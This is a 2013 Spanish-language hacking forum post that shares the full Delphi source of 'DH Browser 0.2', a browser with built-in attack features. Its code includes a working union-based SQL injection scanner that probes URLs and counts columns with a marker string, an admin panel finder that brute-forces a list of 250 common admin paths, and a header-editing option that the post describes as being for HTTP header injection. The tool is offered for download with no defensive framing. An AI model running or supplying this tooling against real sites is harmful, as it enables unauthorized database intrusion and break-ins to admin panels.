comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] DH Browser 0.2

  • 0 Respuestas
  • 2752 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Noviembre 15, 2013, 11:02:27 am »
Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin


Unas imagenes :





El codigo :

Carga

Código: Delphi
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhbrowse;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
  11.   sSkinManager;
  12.  
  13. type
  14.   TForm1 = class(TForm)
  15.     sGroupBox1: TsGroupBox;
  16.     sProgressBar1: TsProgressBar;
  17.     Timer1: TTimer;
  18.     Image1: TImage;
  19.  
  20.     sSkinManager1: TsSkinManager;
  21.     procedure Button1Click(Sender: TObject);
  22.     procedure Timer1Timer(Sender: TObject);
  23.     procedure FormCreate(Sender: TObject);
  24.   private
  25.     { Private declarations }
  26.   public
  27.     { Public declarations }
  28.   end;
  29.  
  30. var
  31.   Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. uses programa;
  36. {$R *.dfm}
  37.  
  38. procedure TForm1.Button1Click(Sender: TObject);
  39. begin
  40.   Form2.Show;
  41. end;
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. begin
  45.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  46.   sSkinManager1.SkinName := 'tv-b';
  47.   sSkinManager1.Active := True;
  48. end;
  49.  
  50. procedure TForm1.Timer1Timer(Sender: TObject);
  51. var
  52.   i: integer;
  53.   total: integer;
  54.  
  55. begin
  56.  
  57.   total := 0;
  58.   sProgressBar1.Min := 0;
  59.   sProgressBar1.Max := 100;
  60.  
  61.   For i := 1 to 100 do
  62.   begin
  63.  
  64.     Form1.Update;
  65.  
  66.     Sleep(1000);
  67.     // Sleep(1);
  68.  
  69.     total := total + 10;
  70.  
  71.     sProgressBar1.Position := total;
  72.  
  73.     if (sProgressBar1.Position = 100) then
  74.     begin
  75.       Timer1.Enabled := False;
  76.       Form1.Hide;
  77.       Form2.Show;
  78.       Abort;
  79.     end;
  80.   end;
  81.  
  82. end;
  83.  
  84. end.
  85.  
  86. // The End ?
  87.  

Navegador

Código: Delphi
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  5. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  6. // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  7.  
  8. unit programa;
  9.  
  10. interface
  11.  
  12. uses
  13.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.   Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
  15.   sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
  16.   ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
  17.   IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;
  18.  
  19. type
  20.   TForm2 = class(TForm)
  21.     sSkinManager1: TsSkinManager;
  22.     sGroupBox1: TsGroupBox;
  23.     sEdit1: TsEdit;
  24.     sButton1: TsButton;
  25.     sGroupBox2: TsGroupBox;
  26.     sMemo1: TsMemo;
  27.     sCheckBox1: TsCheckBox;
  28.     sGroupBox3: TsGroupBox;
  29.     sStatusBar1: TsStatusBar;
  30.     WebBrowser1: TWebBrowser;
  31.     sGroupBox4: TsGroupBox;
  32.     sButton2: TsButton;
  33.     sButton3: TsButton;
  34.     sGroupBox5: TsGroupBox;
  35.     sButton4: TsButton;
  36.     sLabel1: TsLabel;
  37.     Image1: TImage;
  38.     sMemo2: TsMemo;
  39.     PopupMenu1: TPopupMenu;
  40.     S1: TMenuItem;
  41.     S2: TMenuItem;
  42.     IdHTTP1: TIdHTTP;
  43.     PerlRegEx1: TPerlRegEx;
  44.     FindDialog1: TFindDialog;
  45.     sProgressBar1: TsProgressBar;
  46.     procedure sButton1Click(Sender: TObject);
  47.     procedure S1Click(Sender: TObject);
  48.     procedure S2Click(Sender: TObject);
  49.     procedure sButton3Click(Sender: TObject);
  50.     procedure sButton2Click(Sender: TObject);
  51.     procedure sButton4Click(Sender: TObject);
  52.     procedure FindDialog1Find(Sender: TObject);
  53.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  54.     procedure WebBrowser1ProgressChange(ASender: TObject;
  55.       Progress, ProgressMax: Integer);
  56.     procedure WebBrowser1DownloadComplete(Sender: TObject);
  57.     procedure FormCreate(Sender: TObject);
  58.   private
  59.     { Private declarations }
  60.   public
  61.     { Public declarations }
  62.   end;
  63.  
  64. var
  65.   Form2: TForm2;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70.  
  71. procedure TForm2.FindDialog1Find(Sender: TObject);
  72.  
  73. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  74.  
  75. var
  76.   aca: PChar;
  77.   aca2: PChar;
  78.   acatoy: PChar;
  79.   acatoy2: Word;
  80.  
  81. begin
  82.  
  83.   With Sender as TFindDialog do
  84.  
  85.   begin
  86.  
  87.     GetMem(aca2, Length(FindText) + 1);
  88.     StrPCopy(aca2, FindText);
  89.  
  90.     acatoy2 := sMemo2.GetTextLen + 1;
  91.     GetMem(aca, acatoy2);
  92.  
  93.     sMemo2.GetTextBuf(aca, acatoy2);
  94.  
  95.     acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
  96.     acatoy := StrPos(acatoy, aca2);
  97.  
  98.     if not(acatoy = NIL) then
  99.     begin
  100.       sMemo2.SelStart := acatoy - aca;
  101.       sMemo2.SelLength := Length(FindText);
  102.     end;
  103.  
  104.     sMemo2.SetFocus;
  105.  
  106.   end;
  107.  
  108. end;
  109.  
  110. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  111. begin
  112.   Application.Terminate;
  113. end;
  114.  
  115. procedure TForm2.FormCreate(Sender: TObject);
  116. begin
  117.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  118.   sSkinManager1.SkinName := 'tv-b';
  119.   sSkinManager1.Active := True;
  120. end;
  121.  
  122. procedure TForm2.S1Click(Sender: TObject);
  123. begin
  124.   WebBrowser1.Visible := false;
  125.   sMemo2.Visible := True;
  126. end;
  127.  
  128. procedure TForm2.S2Click(Sender: TObject);
  129. begin
  130.   WebBrowser1.Visible := True;
  131.   sMemo2.Visible := false;
  132. end;
  133.  
  134. procedure TForm2.sButton1Click(Sender: TObject);
  135.  
  136. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  137.  
  138. var
  139.  
  140.   cabeceras: OLEVariant;
  141.   uno: OLEVariant;
  142.   dos: OLEVariant;
  143.   tres: OLEVariant;
  144.  
  145. begin
  146.  
  147.   uno := navNoReadFromCache or navNoWriteToCache;
  148.   dos := '';
  149.   tres := '';
  150.  
  151.   if (sCheckBox1.Checked) then
  152.   begin
  153.     cabeceras := sMemo1.Text;
  154.     WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  155.   end
  156.   else
  157.   begin
  158.     cabeceras := '';
  159.     WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  160.   end;
  161. end;
  162.  
  163. procedure TForm2.sButton2Click(Sender: TObject);
  164. var
  165.   pass1: string;
  166.   pass2: string;
  167.   code: string;
  168.   urltest: string;
  169.   urlgen: string;
  170.   full: string;
  171.   codedos: string;
  172.   i: Integer;
  173.  
  174. begin
  175.  
  176.   sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
  177.   Form2.sStatusBar1.Update;
  178.  
  179.   pass1 := '+';
  180.   pass2 := '--';
  181.  
  182.   urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  183.  
  184.   sStatusBar1.Panels[0].Text := '[+] Checking ...';
  185.   Form2.sStatusBar1.Update;
  186.  
  187.   code := IdHTTP1.Get
  188.     (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);
  189.  
  190.   codedos := IdHTTP1.Get
  191.     (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);
  192.  
  193.   if not(code = codedos) then
  194.   begin
  195.  
  196.     sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  197.     Form2.sStatusBar1.Update;
  198.  
  199.     urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
  200.       'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  201.     urlgen := '1';
  202.     for i := 2 to 36 do
  203.     begin
  204.       sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  205.       Form2.sStatusBar1.Update;
  206.       urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  207.         + ',0x4b30425241)';
  208.       urlgen := urlgen + ',' + IntToStr(i);
  209.       code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
  210.       PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
  211.       PerlRegEx1.Subject := code;
  212.  
  213.       if PerlRegEx1.Match then
  214.       begin
  215.  
  216.         urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
  217.           'hackman', []);
  218.         full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
  219.           'union' + pass1 + 'select' + pass1 + urlgen;
  220.  
  221.         sEdit1.Text := full;
  222.         Abort;
  223.  
  224.       end;
  225.     end;
  226.   end;
  227.  
  228.   sStatusBar1.Panels[0].Text := '[+] Done';
  229.   Form2.sStatusBar1.Update;
  230.  
  231. end;
  232.  
  233. procedure TForm2.sButton3Click(Sender: TObject);
  234. const
  235.   paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  236.     'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  237.     'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  238.     'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  239.     'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  240.     'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  241.     'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  242.     'login/index.asp', 'login/index.aspx', 'login/login.asp',
  243.     'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  244.     'administracion/index.asp', 'administracion/index.aspx',
  245.     'administracion/login.asp', 'administracion/login.aspx',
  246.     'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  247.     'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  248.     'admin/admin.php', 'admin/index.php', 'admin/login.php',
  249.     'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  250.     'admin/default.php', 'administracion/', 'administracion/index.php',
  251.     'administracion/login.php', 'administracion/ingresar.php',
  252.     'administracion/admin.php', 'administration/', 'administration/index.php',
  253.     'administration/login.php', 'administrator/index.php',
  254.     'administrator/login.php', 'administrator/system.php', 'system/',
  255.     'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  256.     'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  257.     'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  258.     'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  259.     'admin/index.html', 'admin/login.html', 'admin/home.php',
  260.     'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  261.     'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  262.     'administrator/index.html', 'administrator/login.html',
  263.     'administrator/account.html', 'administrator/account.php',
  264.     'administrator.html', 'login.html', 'modelsearch/login.php',
  265.     'moderator.php', 'moderator.html', 'moderator/login.php',
  266.     'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  267.     'moderator/', 'account.php', 'account.html', 'controlpanel/',
  268.     'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  269.     'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  270.     'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  271.     'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  272.     'administrator/index.asp', 'administrator/login.asp',
  273.     'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  274.     'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  275.     'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  276.     'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  277.     'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  278.     'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  279.     'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  280.     'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  281.     'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  282.     'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  283.     'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  284.     'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  285.     'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  286.     'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  287.     'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  288.     'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  289.     'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  290.     'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  291.     'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  292.     'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  293.     'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  294.     'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  295.     'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  296.     'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  297.     'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  298.     'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  299.     'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  300.     'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  301.     'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  302.     'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  303.     'system_administration/', 'ss_vms_admin_sm/');
  304. var
  305.   IdHTTP: TIdHTTP;
  306.   i: Integer;
  307.   control: Integer;
  308. begin
  309.  
  310.   control := 0;
  311.  
  312.   sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
  313.   Form2.sStatusBar1.Update;
  314.  
  315.   IdHTTP := TIdHTTP.Create(nil);
  316.  
  317.   for i := Low(paginas) to High(paginas) do
  318.  
  319.     if (control = 1) then
  320.     begin
  321.       Abort;
  322.     end
  323.     else
  324.     begin
  325.  
  326.       try
  327.  
  328.         sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  329.         Form2.sStatusBar1.Update;
  330.  
  331.         IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
  332.         if IdHTTP.ResponseCode = 200 then
  333.         begin
  334.  
  335.           sStatusBar1.Panels[0].Text := '[+] Done';
  336.           Form2.sStatusBar1.Update;
  337.           sEdit1.Text := sEdit1.Text + '/' + paginas[i];
  338.           control := 1;
  339.         end;
  340.       except
  341.         on E: EIdHttpProtocolException do
  342.           ;
  343.         on E: Exception do
  344.           ;
  345.       end;
  346.  
  347.     end;
  348.  
  349.   sStatusBar1.Panels[0].Text := '[+] Done';
  350.   Form2.sStatusBar1.Update;
  351.  
  352. end;
  353.  
  354. procedure TForm2.sButton4Click(Sender: TObject);
  355. begin
  356.   FindDialog1.Execute;
  357. end;
  358.  
  359. procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
  360. var
  361.   buscador: IHTMLElement;
  362. begin
  363.  
  364.   sProgressBar1.Position := 0;
  365.  
  366.   // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  367.  
  368.   begin
  369.  
  370.     try
  371.       begin
  372.  
  373.         sMemo2.Clear;
  374.  
  375.         buscador := (WebBrowser1.Document AS IHTMLDocument2).body;
  376.  
  377.         while not(buscador.parentElement = nil) do
  378.         begin
  379.           buscador := buscador.parentElement;
  380.         end;
  381.         sMemo2.Lines.Add(buscador.outerHTML);
  382.       end;
  383.     except
  384.       // ??
  385.     end;
  386.   end;
  387. end;
  388.  
  389. procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
  390.   Progress, ProgressMax: Integer);
  391. begin
  392.   sProgressBar1.Max := ProgressMax;
  393.   sProgressBar1.Position := Progress;
  394. end;
  395.  
  396. end.
  397.  
  398. // The End ?
  399.  


Si lo quieren bajar lo pueden hacer de aca.

« Última modificación: Noviembre 15, 2013, 11:50:29 am por Doddy »

 

¿Te gustó el post? COMPARTILO!



Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3244
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2041
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3474
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1476
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 2899
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear